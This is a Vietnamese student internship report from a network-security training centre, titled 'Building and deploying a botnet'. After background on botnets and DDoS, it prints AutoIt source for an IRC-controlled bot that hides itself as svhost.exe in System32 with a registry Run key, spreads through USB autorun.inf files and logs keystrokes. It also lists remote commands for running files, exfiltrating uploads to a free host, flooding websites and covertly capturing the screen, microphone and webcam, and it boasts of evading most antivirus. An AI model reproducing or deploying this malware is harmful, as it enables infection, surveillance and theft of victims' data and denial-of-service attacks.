1. TRUNG TÂM ĐÀO TẠO
QUẢN TRỊ MẠNG & AN NINH MẠNG
QUỐC TẾ ATHENA
ĐỀ TÀI:
XÂY DỰNG & TRIỂN KHAI
MẠNG BOTNET
G.V. HƯỚNG DẪN: VÕ ĐỖ THẮNG
S.V.THỰC HIỆN: HOÀNG XUÂN NHẬT HUY
Tp.Hồ Chí Minh, ngày 10 tháng 08 năm 2014
2. 2
TRUNG TÂM ĐÀO TẠO
QUẢN TRỊ MẠNG & AN NINH MẠNG
QUỐC TẾ ATHENA
ĐỀ TÀI:
XÂY DỰNG & TRIỂN KHAI
MẠNG BOTNET
G.V. HƯỚNG DẪN : VÕ ĐỖ THẮNG
S.V.THỰC HIỆN : HOÀNG XUÂN NHẬT HUY
Tp.Hồ Chí Minh, Tháng 03, Năm 2014
LỜI CẢM ƠN
Trong lời đầu tiên của báo cáo đồ án tốt nghiệp “Xây dựng & triển
khai mạng botnet” này, em muốn gửi những lời cám ơn và biết ơn chân
thành nhất của mình tới tất cả những người đã hỗ trợ, giúp đỡ em về kiến
3. 3
NHẬN XÉT CỦA GIẢNG VIÊN
………………………………………………………………………………
………………………………………………………………………………
5. 5
Mở đầu…………………………………………………………………...8
Chương 1 : Giới thiệu về đơn vị thực tập……………………………...8
1.1 Lĩnh vực hoạt động chính………………………………………...9
1.2 Đội ngũ giảng viên………………………………………………...9
1.3 Cơ sở vật chất…………………………………………………… 10
1.4 Dịch vụ bổ trợ…………………………………………………… 11
Chương 2 : Nội dung công việc thực tế thu thập được………………12
2.1 : Cách thức botnet kết nối với người điều khiển……………….12
2.2 : Botnet và ứng dụng của chúng………………………………...13
Chương 3 : Các hàm của Botnet và công dụng của chúng………….15
3.1 Các hàm kết nối giữa botnet và IRC…………………………...15
3.1.1 Hàm _IRCConnect ($server, $port, $nick)………………...15
3.1.2 Hàm _IRCPing($irc, $ret)…………………………………..16
3.1.3 Hàm _IRCJoinChannel($sock, $channel)………………….16
3.1.4 Hàm _IRCSendMessage($irc, $msg, $chan)……………….17
3.2 Các hàm lây nhiễm và bảo vệ botnet…………………………...17
3.2.1 Hàm attach()…………………………………………………17
3.2.2 Hàm protect()………………………………………………..18
3.2.3 Hàm find_usb()……………………………………………...18
3.2.4 Hàm _CaptureKeys()……………………………………….19
3.3 Các lệnh thực hiện chức năng chính…………………………...20
3.3.1 Lệnh checkinfo………………………………………………22
3.3.2 Lệnh delete…………………………………………………..22
3.3.3 Lệnh run……………………………………………………..22
3.3.4 Lệnh download……………………………………………...22
3.3.5 Lệnh upload…………………………………………………22
3.3.6 Lệnh rundos…………………………………………………23
3.3.7 Lệnh processclose…………………………………………...23
3.3.8 Lệnh numberofprocess……………………………………..23
3.3.9 Lệnh processlist……………………………………………..23
3.3.10 Lệnh filelist………………………………………………...24
3.3.11 Lệnh flood………………………………………………….24
3.3.12 Lệnh snapshot……………………………………………..24
3.3.13 Lệnh soundrecord…………………………………………24
3.3.14 Lệnh commandcam………………………………………..25
3.3.15 Lệnh keylog(1)……………………………………………..25
Chương 4: Kết luận và hướng phát triển…………………………...25
6. 6
4.1 Kết quả đạt được……………………………………………….25
4.2 Phương hướng phát triển……………………………………...26
TRÍCH YẾU
7. 7
Cuối thế kỷ 19 cũng như đầu thiên niên kỷ mới đánh dấu bước phát triển
nhanh, mạnh của một số chiến lược tấn công khác biệt nhắm vào hệ thống
mạng. DDoS, tức Distributed Denial of Services, hình thức tấn công từ chối
dịch vụ phân tán khét tiếng ra đời. Tương tự với người anh em DoS (tấn
công từ chối dịch vụ), DDoS được phát tán rất rộng, chủ yếu nhờ tính đơn
giản nhưng rất khó bị dò tìm của chúng. Đã có nhiều kinh nghiệm đối phó
được chia sẻ, với khối lượng kiến thức không nhỏ về nó, nhưng ngày nay
DDoS vẫn đang là một mối đe doạ nghiêm trọng, một công cụ nguy hiểm
của hacker. Chúng ta hãy cùng tìm hiểu về DDoS và sản phẩm kế thừa từ
nó: các cuộc tấn công botnet.
Trong thời gian thực tập từ ngày 30/06 đến ngày 18/08/2014, em đã được
làm việc tại Athena để hoàn thành đồ án “Xây dựng và triển khai mạng
botnet” . Đây là một công việc rất thú vị . Qua quá trình làm việc tại đây,
em có điều kiện để tiếp xúc với thực tế và thấy những thiếu sót để hoàn
thiện mình hơn . Các bước của quá trình thực hiện đã được em ghi lại bằng
clip bên dưới
-Clip giới thiệu ( chủ đề và công ty thực tập )
https://www.youtube.com/watch?v=uSytfdHXc0c
MỞ ĐẦU
8. 8
Giới thiệu về Bot và Botnet :
Bot là viết tắt của robot, tức các chương trình tự động hoá (chứ không phải
là người máy như nghĩa chúng ta vẫn gọi) thường xuyên được sử dụng
trong thế giới Internet. Các chương trình tự động phản ứng khi gặp sự kiện
ngoài mạng nội bộ cũng được gọi là robot. Chúng ta sẽ quan tâm tới một
kiểu robot cụ thể (hay bot như tên tắt vẫn thường được gọi) là IRC bot. IRC
bot sử dụng các mạng IRC như một kênh liên lạc để nhận lệnh từ người
dùng từ xa. Ví dụ cụ thể như, người dùng là một kẻ tấn công, còn bot là
một Trojan horse. Chúng ta có thể dễ dàng tạo ra một số bot riêng của
mình, hoặc xây dựng lại từ các bot có sẵn. Chúng có thể dễ dàng ẩn nấp
trước những hệ thống bảo mật cơ bản, sau đó là phát tán đi nhanh chóng
trong thời gian ngắn.
Botnet là gì : là những chương trình tương tự Trojan backdoor cho phép kẻ
tấn công sử dụng máy của họ như là những Zoombie ( máy tính thây ma –
máy tính bị chiếm quyền điều khiển hoàn toàn ) và chúng chủ động kết nối
với một Server để dễ dàng điều khiển , “chủ động” đó là một đặc điểm
khác của bot so với trojan backdoor .
Tại sao gọi là mạng botnet ? : mạng botnet là một mạng rất lớn gồm hàng
trăm hàng ngàn máy tính Zombie kết nối với một máy chủ mIRC ( Internet
Replay Chat ) hoặc qua các máy chủ DNS để nhận lệnh một cách nhanh
nhất . Các mạng bot gồm hàng ngàn “thành viên” là một công cụ lý tưởng
cho các cuộc chiến tranh đọ máu như DDOS , spam, cài đặt các chương
trình quảng cáo …..
CHƯƠNG 1: GIỚI THIỆU VỀ ĐƠN VỊ THỰC TẬP
Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc
Tế ATHENA được thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí
thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh nghiệm trong lãnh
vực CNTT, với tâm huyết góp phần vào công cuộc thúc đẩy tiến trình đưa
công nghệ thông tin là ngành kinh tế mũi nhọn, góp phần phát triển nước
nhà.
1.1. Lĩnh vực hoạt động chính
9. 9
Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo
chuyên sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu
chuẩn quốc tế của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux
LPI , CEH,... Song song đó, trung tâm ATHENA còn có những chương
trình đào tạo cao cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ
Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp, các cơ quan chính
phủ, tổ chức tài chính..
Sau gần 10 năm hoạt động, nhiều học viên tốt nghiệp trung
tâm ATHENA đã là chuyên gia đảm nhận công tác quản lý hệ thống mạng,
an ninh mạng cho nhiều bộ ngành như Cục Công Nghệ Thông Tin - Bộ
Quốc Phòng , Bộ Công An, Sở Thông Tin Truyền Thông các tỉnh, bưu điện
các tỉnh,...
Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều
chương trình hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại
học Bách Khoa Thành Phố Hồ Chí Minh, Học Viện An Ninh Nhân Dân
(Thủ Đức), Học Viện Bưu Chính Viễn Thông, Hiệp hội an toàn thông tin
(VNISA), Viện Kỹ Thuật Quân Sự ,..
1.2. Đội ngũ giảng viên
Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các
trường đại học hàng đầu trong nước như Đại Học Bách Khoa, Đại Học
Khoa Học Tự Nhiên,....Tất cả giảng viên ATHENA đều phải có các chứng
chỉ quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư
phạm Quốc tế (Microsoft Certified Trainer). Đây là các chứng chỉ
chuyên môn bắt buộc để đủ điều kiện tham gia giảng dạy tại trung
tâm ATHENA.
10. 10
Bên cạnh đó, Các giảng viên ATHENA thường đi tu nghiệp và
cập nhật kiến thức công nghệ mới từ các nước tiên tiến như Mỹ , Pháp,
Hà Lan, Singapore,... và truyền đạt các công nghệ mới này trong các
chương trình đào tạo tại trung tâm ATHENA
1.3. Cơ sở vật chất
Thiết bị đầy đủ và hiện đại
Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với
những công nghệ mới nhất.
Phòng máy rộng rãi, thoáng mát
1.4. Dịch vụ hỗ trợ
Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn
Giới thiệu việc làm cho mọi học viên
Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí,
không giới hạn thời gian.
Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan
đến máy tính, mạng máy tính, bảo mật mạng
11. 11
Cơ sở 1: 92 Nguyễn Đình Chiểu, P.Đa Kao, Q.1
Điện thoại: (08)38244041 - 090 78 79 477-094 323 00 99 (Gần ngã tư
Đinh Tiên Hoàng - Nguyễn Đình Chiểu).
Cơ sở 2: 2 Bis Đinh Tiên Hoàng, P.Đa Kao, Q.1.
Điện thoại: (08)22103801 - 094 320 00 88(Cạnh sân vận động Hoa Lư –
Cách đài truyền hình Tp HTV 50 mét).
Website: http://athena.edu.vn - http://athena.com.vn
E-mail : support@athena.edu.vn - tuvan@athena.edu.vn
CHƯƠNG 2: NỘI DUNG CÔNG VIỆC THỰC TẾ THU
THẬP ĐƯỢC
12. 12
2.1. Cách thức botnet kết nối với người điều khiển
Botnet kết nối với người điều khiển thông qua kênh IRC . IRC là tên viết
tắt của Internet Relay Chat. Đó là một giao thức được thiết kế cho hoạt
động liên lạc theo kiểu hình thức tán gẫu thời gian thực (ví dụ RFC 1459,
các bản update RFC 2810, 2811, 2812, 2813) dựa trên kiến trúc client-
server. Hầu hết mọi server IRC đều cho phép truy cập miễn phí, không kể
đối tượng sử dụng. IRC là một giao thức mạng mở dựa trên nền tảng TCP
(Transmission Control Protocol - Giao thức điều khiển truyền vận), đôi khi
được nâng cao với SSL (Secure Sockets Layer - Tầng socket bảo mật).
Một server IRC kết nối với server IRC khác trong cùng một mạng. Người
dùng IRC có thể liên lạc với cả hai theo hình thức công cộng (trên các
kênh) hoặc riêng tư (một đối một). Có hai mức truy cập cơ bản vào kênh
IRC: mức người dùng (user) và mức điều hành (operator). Người dùng nào
tạo một kênh liên lạc riêng sẽ trở thành người điều hành. Một điều hành
viên có nhiều đặc quyền hơn (tuỳ thuộc vào từng kiểu chế độ do người điều
hành ban đầu thiết lập ) so với người dùng thông thường.
Các bot IRC được coi như một người dùng (hoặc điều hành viên) thông
thường. Chúng là các quy trình daemon, có thể chạy tự động một số thao
tác. Quá trình điều khiển các bot này thông thường dựa trên việc gửi lệnh
để thiết lập kênh liên lạc do hacker thực hiện, với mục đích chính là phá
hoại. Tất nhiên, việc quản trị bot cũng đòi hỏi cơ chế thẩm định và cấp
phép. Vì thế, chỉ có chủ sở hữu chúng mới có thể sử dụng.
Một thành phần quan trọng của các bot này là những sự kiện mà chúng có
thể dùng để phát tán nhanh chóng tới máy tính khác. Xây dựng kế hoạch
cần thận cho chương trình tấn công sẽ giúp thu được kết quả tốt hơn với
thời gian ngắn hơn (như xâm phạm được nhiều máy tính hơn chẳng hạn).
Một số n bot kết nối vào một kênh đơn để chờ lệnh từ kẻ tấn công thì được
gọi là một botnet.
Cách đây chưa lâu, các mạng zombie (một tên khác của máy tính bị tấn
công theo kiểu bot) thường được điều khiển qua công cụ độc quyền, do
chính những kẻ chuyên bẻ khoá cố tình phát triển. Trải qua thời gian,
chúng hướng tới phương thức điều khiển từ xa. IRC được xem là công cụ
phát động các cuộc tấn công tốt nhất nhờ tính linh hoạt, dễ sử dụng và đặc
biệt là các server chung có thể được dùng như một phương tiện liên lạc.
IRC cung cấp cách thức điều khiển đơn giản hàng trăm, thậm chí hàng
nghìn bot cùng lúc một cách linh hoạt. Nó cũng cho phép kẻ tấn công che
đậy nhân dạng thật của mình với một số thủ thuật đơn giản như sử dụng
proxy nặc danh hay giả mạo địa chỉ IP. Song cũng chính bởi vậy mà chúng
để lại dấu vết cho người quản trị server lần theo.
13. 13
Trong hầu hết các trường hợp tấn công bởi bot, nạn nhân chủ yếu là người
dùng máy tính đơn lẻ, server ở các trường đại học hoặc mạng doanh nghiệp
nhỏ. Lý do là bởi máy tính ở những nơi này không được giám sát chặt chẽ
và thường để hở hoàn toàn lớp bảo vệ mạng. Những đối tượng người dùng
này thường không xây dựng cho mình chính sách bảo mật, hoặc nếu có thì
không hoàn chỉnh, chỉ cục bộ ở một số phần. Hầu hết người dùng máy tính
cá nhân kết nối đường truyền ADSL đều không nhận thức được các mối
nguy hiểm xung quanh và không sử dụng phần mềm bảo vệ như các công
cụ diệt virus hay tường lửa cá nhân.
2.2. Botnet và ứng dụng của chúng
Khả năng sử dụng bot và các ứng dụng của chúng cho máy tính bị chiếm
quyền điều khiển hoàn toàn phụ thuộc vào sức sáng tạo và kỹ năng của kẻ
tấn công. Chúng ta hãy xem một số ứng dụng phổ biến nhất.
DDoS
Các botnet được sử dụng thường xuyên trong các cuộc tấn công Distributed
Denial of Service (DDoS). Một kẻ tấn công có thể điều khiển số lượng lớn
máy tính bị chiểm quyền điều khiển tại một trạm từ xa, khai thác băng
thông của chúng và gửi yêu cầu kết nối tới máy đích. Nhiều mạng trở nên
hết sức tồi tệ sau khi hứng chịu các cuộc tấn công kiểu này. Và trong một
số trường hợp, thủ phạm được tìm thấy ngay khi đang tiến hành cuộc phá
hoại (như ở các cuộc chiến dotcom).
Tấn công từ chối dịch vụ phân tán (DDoS)
Tấn công DDoS là một biến thể của Foolding DoS (Tấn công từ chối dịch
vụ tràn). Mục đích của hình thức này là gây tràn mạng đích, sử dụng tất cả
băng thông có thể. Kẻ tấn công sau đó sẽ có toàn bộ lượng băng thông
khổng lồ trên mạng để làm tràn website đích. Đó là cách phát động tấn
công tốt nhất để đặt được nhiều máy tính dưới quyền kiểm soát. Mỗi máy
tính sẽ đưa ra băng thông riêng (ví dụ với người dùng PC cá nhân nối
ADSL). Tất cả sẽ được dùng một lần, và nhờ đó, phân tán được cuộc tấn
công vào website đích. Một trong các kiểu tấn công phổ biến nhất được
thực hiện thông qua sử dụng giao thức TCP (một giao thức hướng kết nối),
gọi là TCP syn flooding (tràn đồng bộ TCP). Cách thức hoạt động của
chúng là gửi đồng thời cùng lúc một số lượng khổng lồ yêu cầu kết nối
TCP tới một Web Server (hoặc bất kỳ dịch vụ nào khác), gây tràn tài
nguyên server, dẫn đến tràn băng thông và ngăn không cho người dùng
khác mở kết nối riêng của họ. Quả là đơn giản nhưng thực sự nguy hiểm!
14. 14
Kết quả thu được cũng tương tự khi dùng giao thức UDP (một giao thức
không kết nối).
Giới tin tặc cũng bỏ ra khá nhiều thời gian và công sức đầu tư nhằm nâng
cao cách thức tấn công của chúng. Hiện nay, người dùng mạng máy tính
như chúng ta đang phải đối mặt với nhiều kỹ thuật tinh vi hơn xa so kiểu
tấn công DDoS truyền thống. Những kỹ thuật này cho phép kẻ tấn công
điều khiển một số lượng cực kỳ lớn máy tính bị chiếm quyền điều khiển
(zombie) tại một trạm từ xa mà đơn giản chỉ cần dùng giao thức IRC.
Spamming (phát tán thư rác)
Botnet là một công cụ lý tưởng cho các spammer (kẻ phát tán thư rác).
Chúng đã, đang và sẽ được dùng vừa để trao đổi địa chỉ e-mail thu thập
được, vừa để điều khiển cơ chế phát tán thư rác theo cùng một cách với
kiểu tấn công DDoS. Thư rác được gửi tới botnet, sau đó phân phối qua các
bot và từ đó phát tán tới máy tính đang bị chiếm quyền điều khiển. Tất cả
spammer đều lấy tên nặc danh và mọi hậu quả thì máy tính bị phá hoại
gánh chịu.
Sniffing và Keylogging
Các bot cũng có thể được sử dụng một cách hiệu quả để nâng cao nghệ
thuật cổ điển của hoạt động sniffing. Nếu theo dõi lưu lượng dữ liệu truyền
đi, bạn có thể xác định được con số khó tin lượng thông tin được truyền tải.
Đó có thể là thói quen của người dùng, trọng tải gói TCP và một số thông
tin thú vị khác (như mật khẩu, tên người dùng). Cũng tương tự như vậy với
keylogging, một hình thức thu thập tất cả thông tin trên bàn phím khi người
dùng gõ vào máy tính (như e-mail, password, dữ liệu ngân hàng, tài khoản
PayPal,…).
Ăn cắp nhân dạng
Các phương thức được đề cập ở trên cho phép kẻ tấn công điều khiển
botnet để thu thập một lượng thông tin cá nhân khổng lồ. Những dữ liệu có
thể được dùng để xây dựng nhân dạng giả mạo, sau đó lợi dụng để có thể
truy cập tài khoản cá nhân hoặc thực hiện nhiều hoạt động khác (có thể là
chuẩn bị cho nhiều cuộc tấn công khác) mà người gánh chịu hậu quả không
ai khác chính là chủ nhân của các thông tin đó.
Sở hữu phần mềm bất hợp pháp
15. 15
Đây là hình thức cuối cùng, nhưng chưa phải là kết thúc. Các máy tính bị
tấn công theo kiểu bot có thể được dùng như một kho lưu trữ động tài liệu
bất hợp pháp (phần mềm ăn cắp bản quyền, tranh ảnh khiêu dâm,…). Dữ
liệu được lưu trữ trên ổ cứng trong khi người dùng ADSL không hề hay
biết.
Còn rất nhiều, rất nhiều kiểu ứng dụng khác nữa được phát triển dựa trên
botnet (như trả tiền cho mỗi lần kích chuột để sử dụng một chương trình,
phishing, hijacking kết nối HTTP/HTTPS…), nhưng liệt kê ra được hết có
lẽ sẽ phải mất hàng giờ. Bản thân bot chỉ là một công cụ với khả năng lắp
ghép và thích ứng dễ dàng cho mọi hoạt động đòi hỏi đặt quyền kiểm soát
đơn lên một số lượng lớn máy tính.
CHƯƠNG 3: CÁC HÀM CỦA BOTNET VÀ CÔNG DỤNG
CỦA CHÚNG
3.1. Các hàm kết nối giữa botnet và IRC
3.1.1 Hàm _IRCConnect ($server, $port, $nick)
Func _IRCConnect($server, $port, $nick)
Local $i = TCPConnect(TCPNameToIP($server), $port)
If $i = -1 Then
Sleep(10000)
Local $i = TCPConnect(TCPNameToIP($server), $port)
EndIf
TCPSend($i, "NICK " & $nick & @CRLF)
TCPSend($i, "USER " & $nick & " 0 0 " & $nick & @CRLF)
Return $i
EndFunc
Kết nối với máy chủ IRC bằng hàm TCPConnect() . Nếu thành công , trả
về 0 . Nếu thất bại trả về -1, sleep 10 giây , reconnect và set cờ @error .
Nếu cờ @error là 1 thì địa chỉ server sai , nếu @error là 2 thì địa chỉ port
sai
16. 16
3.1.2. Hàm _IRCPing($irc, $ret)
Func _IRCPing($irc, $ret)
If $ret = "" Then Return -1
TCPSend($irc, "PONG " & $ret & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc
Kiểm tra kết nối tới máy chủ IRC nếu trong một khoảng thời gian giữa
người điều khiển và botnet không trao đổi thông tin
3.1.3. Hàm _IRCJoinChannel($sock, $channel)
Func _IRCJoinChannel($irc, $chan)
If $irc = -1 Then Return 0
TCPSend($irc, "JOIN " & $chan & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc
Kết nối tới một kênh IRC
17. 17
3.1.4. Hàm _IRCSendMessage($irc, $msg, $chan)
Func _IRCSendMessage($irc, $msg, $chan = "")
If $irc = -1 Then Return 0
If $chan = "" Then
TCPSend($irc, $msg & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndIf
TCPSend($irc, "PRIVMSG " & $chan & " :" & $msg & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc
Gửi thông điệp tới một kênh IRC , trả về kết quả thực thi câu lệnh
3.2. Các hàm lây nhiễm và bảo vệ botnet
3.2.1. Hàm attach()
Func attach()
If Not FileExists ("C:WindowsSystem32svhost.exe") then
FileCopy(@ScriptFullPath,"C:WindowsSystem32svhost.exe", 1)
FileSetAttrib("C:WindowsSystem32svhost.exe", "+SHR")
RegWrite("HKEY_CURRENT_USERSoftwareMicrosoft
WindowsCurrentVersionRun", "svhost.exe",
"REG_SZ", "C:WindowsSystem32svhost.exe
/onboot")
EndIf
EndFunc
-Copy botnet vào thư mục C:WindowsSystem32 , ẩn botnet và ghi
registry
3.2.2. Hàm protect()
18. 18
Func protect()
If Not ProcessExists("soldier.exe") Then
Run("C:soldier.exe")
Sleep(300)
EndIf
EndFunc
-Gọi 1 chương trình dùng để kích hoạt botnet nếu botnet bị tắt , ở đây
chương trình soldier được kết hợp chức năng keylog , vừa có chức năng gọi
botnet
3.2.3. Hàm find_usb()
Func find_usb()
$1 = DriveGetDrive( "REMOVABLE" )
If Not @error Then
For $i = 1 to $1[0]
$fp2 = FileOpen($1[$i] & "Autorun.inf",2)
FileClose($fp2)
If $fp2 <> "open=svhost.exe" Then
If $1[$i] <> "A:" Then
FileCopy(@ScriptFullPath, $1[$i] & "svhost.exe", 1)
Dim $autorun = "[autorun]" & @CRLF &
"open=svhost.exe"
filewrite($1[$i] & "Autorun.inf","[autorun]" &
@CRLF & "open=svhost.exe")
filewrite($1[$i] & "Autorun.inf","" & @CRLF &
"ShellOpen=open")
filewrite($1[$i] & "Autorun.inf","" & @CRLF &
"ShellOpenCommand=svhost.exe")
filewrite($1[$i] & "Autorun.inf","" & @CRLF &
"ShellOpenDefault=1")
filewrite($1[$i] & "Autorun.inf","" & @CRLF &
"ShellExplore=explore")
filewrite($1[$i] & "Autorun.inf","" & @CRLF &
"ShellExploreCommand=svhost.exe")
FileSetAttrib($1[$i] & "Autorun.inf", "+SHR")
FileSetAttrib($1[$i] & "svhost.exe", "+SHR")
EndIf
EndIf
19. 19
Next
EndIf
EndFunc
3.2.4. Hàm _CaptureKeys()
Func _CaptureKeys()
If _IsPressed('01') Then
If $sLast <> "01" Then _LogKeyPressed('<font style="font-
size:12px;color:red"><b> {<u>LEFT MOUSE
BUTTON</u>} </b></font>')
$sLast = "01"
EndIf
If _IsPressed('02') Then
If $sLast <> "02" Then _LogKeyPressed('<font style="font-
size:12px;color:red"><b> {<u>RIGHT MOUSE
BUTTON</u>} </b></font>')
$sLast = "02"
EndIf
…………………
Sleep(75)
EndFunc
-Gán giá trị mỗi phím bằng mã hexa, nếu người sử dụng gõ phím thì soldier
sẽ trả về giá trị của phím đó
3.3. Các lệnh thực hiện chức năng chính
Ở đây em sử dụng chương trình Xchat để giao tiếp với botnet trên IRC .
Botnet chỉ nhận lệnh từ một user có tên là postmodernism . Ngoài user này
ra thì không nhận lệnh từ bất cứ user nào khác. Thiết lập thông tin như
trong hình
B1: Chọn user là postmodernism
20. 20
B2: Chọn “Thêm” và đặt tên cho mạng
B3 : Chọn “Sửa” , điền tên của máy chủ là irc.quakenet.org
21. 21
B4 : Chọn “Đóng” và ra màn hình chính chọn “Kết nối” , ta được cửa
sổ như hình dưới , nhập vào từ “rock0em” , đây chính là kênh ta điều
khiển botnet
22. 22
3.3.1. Lệnh checkinfo
-Cú pháp : checkinfo@[tên máy bị nhiễm]
3.3.2. Lệnh delete
-Cú pháp : delete@[tên máy bị nhiễm]@[đường dẫn tới file cần xóa]
3.3.3. Lệnh run
-Cú pháp : run@[tên máy bị nhiễm]@[đường dẫn tới file .exe , .bat]
3.3.4. Lệnh download
-Cú pháp : download@[tên máy bị nhiễm]@[link file cần down]@[địa chỉ
lưu lại]
3.3.5. Lệnh upload
-Cú pháp : upload@[tên máy bị nhiễm]@[user của host]@[pass của host]
@[địa chỉ của file ở máy]@[vị trí muốn lưu lại trên host]
-Ở đây em đã đăng kí một host miễn phí là
www.dienthoaihanquoc.netau.net , phần địa chỉ này của host được em lưu
sẵn trong botnet nên không cần nhập vào
23. 23
3.3.6. Lệnh rundos
-Cú pháp : rundos@[tên máy bị nhiễm]@[lệnh dos muốn thực hiện]
3.3.7. Lệnh processclose
-Cú pháp : processclose@[tên máy bị nhiễm]@[process muốn tắt]
3.3.8. Lệnh numberofprocess
-Cú pháp : numberofprocess@[tên máy bị nhiễm]
3.3.9. Lệnh processlist
-Cú pháp : processlist@[tên máy bị nhiễm]@[số thứ tự của process đầu tiên
của list]@[số thứ tự của process cuối cùng của list]
3.3.10. Lệnh filelist
24. 24
-Cú pháp : filelist@[tên máy bị nhiễm]@[folder muốn kiểm tra]@[số thứ
tự của file đầu tiên của folder]@[số thứ tự của file cuối cùng của folder]
3.3.11. Lệnh flood
-Cú pháp : filelist@[tên website muốn tấn công DOS]@[kích thước một
gói tin muốn gửi]
3.3.12. Lệnh snapshot
-Cú pháp : snapshot@[tên máy bị nhiễm]@[user của host]@[pass của
host]@[vị trí lưu file chụp màn hình trên máy bị nhiễm]@[vị trí muốn lưu
file chụp màn hình trên host]
3.3.13. Lệnh soundrecord
-Cú pháp : soundrecord@[tên máy bị nhiễm]@[vị trí lưu file ghi
âm]@[thời gian ghi âm (giây)]
-Sử dụng micro có sẵn của máy tính để thu âm các cuộc nói chuyện
25. 25
3.3.14. Lệnh commandcam
-Cú pháp : commandcam@[tên máy bị nhiễm]
-Sử dụng webcam có sẵn của máy tính để chụp hình người sử dụng , vị trí
lưu file ảnh mặc định là C:image.bmp
3.3.15. Lệnh keylog(1)
-Cú pháp : keylog(1)@[tên máy bị nhiễm]
-Kích hoạt chức năng keylog , để khóa chức năng này , dùng cú pháp
keylog(0)@[tên máy bị nhiễm]
-File log được ghi lại dưới dạng file html , mặc định nằm cùng folder với
file soldier
CHƯƠNG 4: KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN
4.1. Kết quả đạt được
-Xây dựng thành công phần sườn của một botnet , có khả năng qua mặt hầu
hết các AV hiện nay ( trừ CMC )
-Botnet có khả năng tồn tại mà không làm ảnh hưởng gì tới hiệu suất sử
dụng máy tính, có khả năng update các version mới . Nhưng đó chỉ là mới
đáp ứng được một phần nhỏ của các yêu cầu hiện nay. Em mong được góp
ý để phát triển hoàn thiện hơn trong thời gian tới để đáp ứng đầy đủ các yêu
cầu.
26. 26
-Mặc dù em đã rất cố gắng rất nhiều trong quá trình thực hiện đồ án này,
nhưng không tránh khỏi những thiếu sót. Vì vậy em rất mong quý thầy cô
cũng như những ai quan tâm đến đề tài này chỉ dẫn và góp ý kiến cho em
để em hoàn thiện mẫu botnet này một cách đầy đủ.
4.2. Phương hướng phát triển
-Mong muốn của em hiện nay là cải thiện mẫu botnet này để nó trở thành
một công cụ giám sát người dùng hiệu quả